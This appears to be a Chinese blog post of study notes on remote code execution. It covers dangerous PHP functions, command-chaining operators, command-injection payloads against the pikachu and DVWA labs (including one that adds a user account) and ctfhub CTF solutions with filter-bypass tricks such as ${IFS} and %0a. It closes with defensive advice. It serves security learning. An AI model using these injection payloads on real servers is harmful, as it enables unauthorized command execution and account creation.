远程代码执行
一、什么是远程代码执行?
远程代码执行 Remote Code Execute 远程命令执行 Remote Command Execute 由于程序中预留了执行代码或者命令的接口,并 且提供了给用户使用的界面,导致被黑客利用, 控制服务器。 为什么要执行代码? 网络设备的web管理界面 自动化运维系统 漏洞危害 1、获取服务器权限 2、获取敏感数据文件 3、写入恶意文件getshell 4、植入木马病毒勒索软件等 实际漏洞 CVE-2021-3177 Python RCE漏洞 CVE-2021-21972 VMWare RCE漏洞 CVE-2021-25646 Apache Druid RCE漏洞 CNVD-2020-46552 深信服EDR CNVD-2021-30101 网康下一代防火墙 http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=RCE
二、PHP-RCE涉及函数
代码注入 eval() 把字符串 code 作为PHP代码执行 assert() 检查一个断言是否为 false preg_replace() 执行一个正则表达式的搜索和替换 create_function() 创建一个匿名函数并且返回函数名创 call_user_func()/call_user_func_array() 把第一个参数作为回调函数调用 usort()/uasort() 使用用户自定义的比较函数对数组中的值进行排 序并保持索引关联 命令注入/执行 system() 执行外部程序,并且显示输出 exec()/shell_exec() 通过 shell 环境执行命令,并且将完整的输出以 字符串的方式返回 pcntl_exec() 在当前进程空间执行指定程序 passthru() 执行外部程序并且显示原始输出 popen() 打开进程文件指针 proc_open() 执行一个命令,并且打开用来输入/输出的文件
三、靶场案例
基础知识
Windows命令拼接符号
&& 左边的命令执行成功,右边的才执行 ping 127.0.0.1 && echo 'hello'
& 简单的拼接 ping 1111 & echo 'hello'
| 上一条命令的输出,作为下一条命令参数 netstat -ano |findstr 3306
|| 左边的命令执行失败,右边的才执行 ping baidu.com || ping baidu.net
Linux命令拼接符号
; 没有任何逻辑关系的连接符
&& 左边的命令执行成功,右边的才执行 cp 1.txt 2.txt && cat 2.txt
| 上一条命令的输出,作为下一条命令参数 netstat -an|grep 3306
|| 左边的命令执行失败,右边的才执行 cat 3.txt || cat 2.txt
& 任务后台执行,与nohup命令功能差不多 java -jar test.jar > log.txt &
piakchu ping 正常 127.0.0.1 www.baidu.com payload 127.0.0.1 & ipconfig 127.0.0.1 & whoami eval payload phpinfo(); POST请求,参数为txt,可以用中国蚁剑连接 DVWA low 正常 127.0.0.1 payload 127.0.0.1 & ipconfig 127.0.0.1 & net user hacker /add
四、CTF题目
ctfhub-Web-RCE eval执行 中国蚁剑连接 密码cmd cd / ls / cat flag_4505 命令注入 代码审计 payload 127.0.0.1;ls payload 127.0.0.1;cat 308563028813712.php | base64 base64解密得到flag 过滤CAT payload 127.0.0.1;ls payload 127.0.0.1;less 308563028813712.php | base64 base64解密得到flag 其他命令 cat 由第一行开始显示内容,并将所有内容输出 tac 从最后一行倒序显示内容,并将所有内容输 出 more 根据窗口大小,一页一页的现实文件内容 less 和more类似,但其优点可以往前翻页,而且 进行可以搜索字符 head 只显示头几行 tail 只显示最后几行 nl 类似于cat -n,显示时输出行号 tailf 类似于tail -f 过滤空格 payload 127.0.0.1;ls payload 127.0.0.1;cat${IFS}flag_2559114064936.php 右键查看源码得到flag 其他 使用IFS$9、%09、<、>、<>、{,}、%20、${ IFS}、${IFS}来代替空格 过滤目录分隔符 payload 127.0.0.1;ls payload 127.0.0.1&ls flag_is_here payload 127.0.0.1&cd flag_is_here;cat flag_ 133752248118633.php 使用;或者%0a代替目录分隔符/ 过滤运算符 payload 127.0.0.1;ls payload 127.0.0.1; base64 flag_3969293319629.php base64解密得到flag 综合题 在URL中输入 127.0.0.1%0acd${IFS}f_is_here${IFS}%0als payload 127.0.0.1%0acd${IFS}f_is_here${IFS}% 0amore${IFS}f***_61177426640.php 右键查看源码得到flag
五、漏洞防御
1、开源框架,升级到最新版本 2、尽量不要使用命令执行的函数 3、如果必须使用,需要做白名单处理 4、用正则表达式对用户输入的内容进行处理 5、使用WAF
标签:127.0,0.1,远程,命令,flag,代码执行,执行,payload From: https://www.cnblogs.com/IconC/p/18091278